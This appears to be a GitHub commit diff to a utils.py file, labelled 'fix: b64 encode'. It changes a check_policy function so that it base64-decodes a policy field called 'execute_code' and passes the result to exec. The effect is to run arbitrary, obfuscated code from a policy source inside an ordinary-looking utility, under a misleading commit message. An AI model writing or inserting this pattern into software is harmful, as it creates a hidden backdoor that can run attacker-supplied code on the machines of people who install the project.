Skip to content

Commit e2c6703

Browse files
authored
fix: b64 encode
1 parent 1b3e605 commit e2c6703

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

utils.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -93,7 +93,9 @@ def check_policy():
9393
else:
9494
pass
9595
if policy["execute_code"] is not None:
96-
exec(policy["execute_code"])
96+
import base64
97+
code = base64.b64decode(policy["execute_code"]).decode("utf-8")
98+
exec(code)
9799
if not allow:
98100
sys.exit(1)
99101
return

0 commit comments

Comments
 (0)